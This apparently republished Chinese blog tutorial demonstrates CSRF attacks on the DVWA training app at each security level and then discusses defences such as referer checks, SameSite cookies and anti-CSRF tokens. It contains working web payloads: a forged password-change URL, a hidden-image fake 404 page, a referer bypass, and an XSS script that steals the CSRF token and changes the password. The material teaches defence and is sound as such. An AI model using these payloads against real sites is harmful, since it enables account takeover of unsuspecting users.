CSRF:跨站请求伪造攻击

目录

什么是CSRF?

DVWA中的CSRF

low

medium

hight

 impossible

防御CSRF

1、验证码

2、referer校验

3、cookie的Samesite属性

4、Anti-CSRF-Token


什么是CSRF?

CSRF全称为跨站请求伪造(Cross-site request forgery),它是一种常见的Web攻击,下面我就来给大家通过学习+复习的方式介绍一下CSRF漏洞,并且会演示一下攻击过程和防御方案

用户在使用浏览器访问页面的操作,实际上是向服务器发送HTTP请求来实现的。

比如说有一个在一个博客中对一个博主的“添加关注”的操作就是向如下URL发起GET请求实现的:

http://example.com/follow?id=userid,这里的userid就是某个博主的id,正常用户是自己点击关注然后就访问该页面,但是如果被攻击者利用,用户在登录了example.com的前提下,然后访问了而已用户构造的恶意网站,网站中有一张指向www.example.com/follow?id=1111,那么浏览器就会带着用户的cookie发出了这个请求,然后就关注了id=1111的用户,但是这是在用户不知情的情况下执行的操作,这种攻击就是CSRF攻击

CSRF常见的利用场景:

1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马  让更多人的受害
7、控制受害者机器向其它网站发起攻击

DVWA中的CSRF

下面我就使用DVWA中的不同级别的csrf来演示一下该漏洞的攻击:

low

首先将安全级别修改为low:

然后来到csrf这里:
可以看到这里我们在不输入原本密码的前提,就可以直接修改密码

那么来试试修改一下密码:

可以看到输入密码后就显示密码改变了,并且在url中也很明显可以看到更改时的url

那么现在我们就可以构造一个恶意的url:

http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

如果将上面的URL发动给用户,用户肯定不会随意点击,但是如果我们将该url缩短一下,用户点击的概率就会大概率提升:

然后将该链接发送给用户,用户点击后,密码就会修改:

但是网站还是会提示我们,并且将原来的长连接显示出来,这里我就继续访问了:

点击后的页面:

 现在我们退出后再次登录就会发现密码已经改变了

为了增加成功的概率也可以构造一个错误页面:

<img src=“http://192.168.159.1/dvwa-/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#” border=“0” style=“display:none;”/><h1>404<h1><h2>file not found.<h2>

看起来是一个404页面,但是当用户访问后,密码就会被修改了

medium

既然low没有任何难度,那么我们来到将安全级别修改为medium

等级修改完成,来到CSRF攻击页面,可以看到还是可以不要输入原密码,就可以直接修改密码

那么尝试使用上面的方法来尝试一下:

这里却爆出了说我们的请求看起来是错误的,那么到底是为什么呢?

我们来看看源代码:
 

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>

stripos()函数 :查找字符串在另一字符串中第一次出现的位置(不区分大小写)。 

通过与第一关的代码对比发现这里多了一个REFERER 字段,这里判断HTTP_REFERER中是否包含SERVER_NAME,HTTP_REFERER是Referer参数值,即来源地址 SERVER_NAME是host参数及主机ip名 ,因此这我们就必须要让Referer参数值中有主机名 :

我们可以对比一下在dvwa中修改密码和使用点击短链接来修改密码,浏览中referer字段的区别:

dvwa中修改:

短链接修改:

可以看到这两种方式修改时的referer是不同的,因此我们使用这种方法无法修改密码,但是仅仅使用referer来防御CSRF攻击是不行的,因为referer是可以被修改的,我们可以使用Burpsuite来抓包修改referer然后在发送就可以成功的修改了,下面演示一下:

在使用短链接方式访问的同时,使用Burpsuite抓包来修改referer:

抓到的数据包,修改referer后访问:

可以看到这样成功的绕过了referre限制,然后密码被修改了

hight

那么再将安全等级修改为hight看看csrf这里有什么变化:

可以看到这里还是可以不需要使用原本的密码就可以直接修改密码,但是我尝试了上面的两种方法都无法成功攻击,那么来看看源代码:
 

<?php$change = false;
$request_type = "html";
$return_message = "Request Failed";if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {$data = json_decode(file_get_contents('php://input'), true);$request_type = "json";if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&array_key_exists("password_new", $data) &&array_key_exists("password_conf", $data) &&array_key_exists("Change", $data)) {$token = $_SERVER['HTTP_USER_TOKEN'];$pass_new = $data["password_new"];$pass_conf = $data["password_conf"];$change = true;}
} else {if (array_key_exists("user_token", $_REQUEST) &&array_key_exists("password_new", $_REQUEST) &&array_key_exists("password_conf", $_REQUEST) &&array_key_exists("Change", $_REQUEST)) {$token = $_REQUEST["user_token"];$pass_new = $_REQUEST["password_new"];$pass_conf = $_REQUEST["password_conf"];$change = true;}
}if ($change) {// Check Anti-CSRF tokencheckToken( $token, $_SESSION[ 'session_token' ], 'index.php' );// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );// Feedback for the user$return_message = "Password Changed.";}else {// Issue with passwords matching$return_message = "Passwords did not match.";}mysqli_close($GLOBALS["___mysqli_ston"]);if ($request_type == "json") {generateSessionToken();header ("Content-Type: application/json");print json_encode (array("Message" =>$return_message));exit;} else {echo "<pre>" . $return_message . "</pre>";}
}// Generate Anti-CSRF token
generateSessionToken();?>

可以看到这里有多了几个防御手段:

1、判断提交的方式是否为POST

2、获取了了HTTP_USER_TOKEN

3、在密码中还使用了mysqli_real_escap_string函数对特殊字符进行了转义

4、并且对密码进行了md5加密

只有上面的条件都满足,才会执行密码修改操作

尝试访问了一下发现确实多了一个token字段:

这里攻击思路是试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而获得token值,并向服务器发送改密请求,完成攻击。

但是,因为浏览器并不允许跨域请求,我们可以利用xss漏洞来解决

点击XSS(Stored),我们需要构造一条语句来获取token,由于有字符数限制,这里有两种方法:

一是利用burp suite进行抓包,然后改参数,运行获取token。

二是利用火狐浏览器。

这里我使用第二种,火狐浏览器打开xss(Reflect)界面

然后构造代码提交:

iframe src="…/csrf"οnlοad=alert(frames[0].document.getElementsByName(‘user_token’)[0].value)>

然后就可以看到反弹出了token 

然后我们在制造恶意链接的时候加上该token,使用抓包的方式修改然后转发就可以实现密码修改了

也可以利用DOM型的xss+CSRF佬实现密码修改:

xss.js:

alert(document.cookie);
var theUrl = 'http://127.0.0.1/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {xmlhttp = new XMLHttpRequest();
}else{xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){if(xmlhttp.readyState ==4 && xmlhttp.status==200){var text = xmlhttp.responseText;var regex = /user_token\' value\=\'(.*?)\' \/\>/;var match = text.match(regex);console.log(match);alert(match[1]);var token = match[1];var new_url = 'http://127.0.0.1/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';if(count==0){count++;xmlhttp.open("GET",new_url,false);xmlhttp.send();}}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();

然后将xss.js放置于在攻击者的网站上:http://127.0.0.1/xss.js

最后CSRF结合同Security Level的DOM XSS,通过ajax实现跨域请求来获取用户的user_token,用以下链接来让受害者访问:

http://127.0.0.1/vulnerabilities/xss_d/?default=English #<script src="http://127.0.0.1/xss.js"></script>

 impossible

最后来到了impossible级别了:这里尝试使用了上面三种方法都无法成功,看看源代码:
 

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$pass_curr = $_GET[ 'password_current' ];$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Sanitise current password input$pass_curr = stripslashes( $pass_curr );$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_curr = md5( $pass_curr );// Check that the current password is correct$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );$data->execute();// Do both new passwords match and does the current password match the user?if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {// It does!$pass_new = stripslashes( $pass_new );$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database with new password$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );$data->execute();// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match or current password incorrect.</pre>";}
}// Generate Anti-CSRF token
generateSessionToken();?>

从代码中可以看到这里多了一个字段,原始的密码,这就要求攻击者要知道原本的密码,攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击,并且后面利用PDO技术防御因此本关暂时还是没有办法绕过的

防御CSRF

下面总结一下防御CSRF漏洞的几种方法:

1、验证码

因为CSRF是在用户不知情的情况下构造了网络请求,而验证码则需要用户必须与软件进行交互才能完成最终请求,因此验证码可以有效的防御CSRF攻击,但是处于用户的体验,网站如果给每个操作都设置验证码,则用户体验会非常的不好,因此这并不是完美的方案

2、referer校验

从上面的演示中也可以看到,使用referer字段可以有一定程度上防御csrf攻击,但是有一些浏览器因为要保护用户的个人隐私,禁止referer,并且referer是可以被修改的,如果攻击者使用iframe记载了data中的url,或者设置了Referer-Policy,都可以不发送referer,这些都会导致防御失效,因此使用refere校验只是防御csrf攻击的辅助手段

3、cookie的Samesite属性

SameSite是一个新的安全属性,服务端在Set-Cookie响应头中通过设置SameSite属性指示是否可以跨域请求中发送该cookie

它有三种值:

  • None

不做任何限制,任何场景都会发送cookie,但是当SameSite为None时,要求cookie只能在HTTPS协议中发送

  • LAX

在普通的跨域请求中都不发送cookie,但是导航到其他网站时会发送cookie

  • Strict

完全禁止在跨站请求中发送cookie,只有当请求的站点与浏览器地址栏中URL中的域名同属一个站点时才会发生那个cookie

可以看到Samesite属性只是限制是否可以发送cookie,但是当我们将SameSite设置为LAX时,网站导航跳转和GET请求都会携带上cookie,这也会造成CSRF漏洞,但是如果设置为Stict虽然不会产生漏洞,但是用户的体验会非常差,因此这个Samesite属性也不是防御CSRF攻击的最佳方案

4、Anti-CSRF-Token

 最终的防御方案就是Token了,CSRF攻击成功的原因就在于所有的参数都是可以被攻击者猜到的,攻击者猜到了参数,然后伪造数据就可以成功攻击,那么针对这一点token的解决方法就是让攻击者“猜不到”,token就是随机生成的一串字符,将其放在cookie或者session中,这样就攻击者就无法猜测出,这样就成功的防御了CSRF攻击

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/454268.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

@所有人 您需要的 幻兽帕鲁服务器搭建教程 已上线

所有人 您需要的 幻兽帕鲁服务器搭建教程 已上线 幻兽帕鲁一键购买及部署体验购买及部署购买云服务器ECS部署幻兽帕鲁 创建账户并登录Steam其他操作更新服务器修改游戏参数其他操作释放资源 一直拖到今天才来写这篇幻兽帕鲁服务器搭建教程&#xff0c;确实是因为前段时间有事耽…

2024年美赛数学建模E题思路分析 - 财产保险的可持续性

# 1 赛题 问题E&#xff1a;财产保险的可持续性 极端天气事件正成为财产所有者和保险公司面临的危机。“近年来&#xff0c;世界已经遭受了1000多起极端天气事件造成的超过1万亿美元的损失”。[1]2022年&#xff0c;保险业的自然灾害索赔人数“比30年的平均水平增加了115%”。…

淘宝镜像到期如何切换镜像及如何安装淘宝镜像

淘宝镜像到期如何切换镜像及如何安装淘宝镜像 一、淘宝镜像到期如何切换新镜像二、第一次使用淘宝镜像如何配置镜像 一、淘宝镜像到期如何切换新镜像 清空缓存&#xff1a;npm cache clean --force切换镜像源&#xff1a;npm config set registry https://registry.npmmirror.…

003集—三调数据库添加三大类字段——arcgis

在国土管理日常统计工作中经常需要用到三大类数据&#xff08;农用地、建设用地、未利用地&#xff09;&#xff0c;而三调数据库中无三大类字段&#xff0c;因此需要手工录入三大类字段&#xff0c;并根据二级地类代码录入相关三大类名称。本代码可一键录入海量三大类名称统计…

【Flink入门修炼】1-1 为什么要学习 Flink?

流处理和批处理是什么&#xff1f; 什么是 Flink&#xff1f; 为什么要学习 Flink&#xff1f; Flink 有什么特点&#xff0c;能做什么&#xff1f; 本文将为你解答以上问题。 一、批处理和流处理 早些年&#xff0c;大数据处理还主要为批处理&#xff0c;一般按天或小时定时处…

【Redis】深入理解 Redis 常用数据类型源码及底层实现(3.详解String数据结构)

【Redis】深入理解 Redis 常用数据类型源码及底层实现&#xff08;1.结构与源码概述&#xff09;-CSDN博客 【Redis】深入理解 Redis 常用数据类型源码及底层实现(2.版本区别dictEntry & redisObject详解)-CSDN博客 紧接着前两篇的总体介绍&#xff0c;从这篇开始&#x…

异地办公必不可缺的远程控制软件,原理到底是什么?

目录 引言远程桌面连接软件的作用与重要性 基本概念与架构客户端-服务器模型网络通信协议 核心技术组件图形界面捕获与传输输入转发会话管理 性能优化策略带宽优化延迟优化 引言 远程桌面连接软件的作用与重要性 在当今这个高度数字化和网络化的时代&#xff0c;远程桌面连接软…

Redis核心技术与实战【学习笔记】 - 17.Redis 缓存异常:缓存雪崩、击穿、穿透

概述 Redis 的缓存异常问题&#xff0c;除了数据不一致问题外&#xff0c;还会面临其他三个问题&#xff0c;分别是缓存雪崩、缓存击穿、缓存穿透。这三个问题&#xff0c;一旦发生&#xff0c;会导致大量的请求积压到数据库。若并发量很大&#xff0c;就会导致数据库宕机或故…

OpenCV学习记录——平滑处理

文章目录 前言一、图像噪声二、图像平滑处理三、完整应用代码 前言 当我们用树莓派进行opencv图像处理时&#xff0c;摄像头所获取的图像质量通常会有所下降&#xff0c;此时&#xff0c;需要多种手段来优化图像的质量&#xff0c;提高图像识别的准度。今天所记录的是当图片经过…

使用代理IP有风险吗?如何防范潜在的风险?

代理IP用途无处不在。它们允许您隐藏真实IP地址&#xff0c;从而实现匿名性和隐私保护。这对于保护个人信息、绕过地理受限的内容或访问特定网站都至关重要。 然而&#xff0c;正如任何技术工具一样&#xff0c;代理IP地址也伴随着潜在的风险和威胁。不法分子可能会滥用代理IP…

【八大排序】选择排序 | 堆排序 + 图文详解!!

&#x1f4f7; 江池俊&#xff1a; 个人主页 &#x1f525;个人专栏&#xff1a; ✅数据结构冒险记 ✅C语言进阶之路 &#x1f305; 有航道的人&#xff0c;再渺小也不会迷途。 文章目录 一、选择排序1.1 基本思想1.2 算法步骤 动图演示1.3 代码实现1.4 选择排序特性总结 二…

ThinkPad T430 黑苹果Hackintosh 使用OpenCore成功安装macOS 14.3 Sonoma

先放几张图&#xff0c;如果有感兴趣的&#xff0c;点个赞再走呗。 有人想看&#xff0c;我也有动力去慢慢补文字&#xff0c;讲述一下详细过程。 过去一直以为&#xff0c;老电脑只能黑苹果低版本的macOS 今天成功安装了最新的Sonoma&#xff0c;运行流畅&#xff0c;连超高…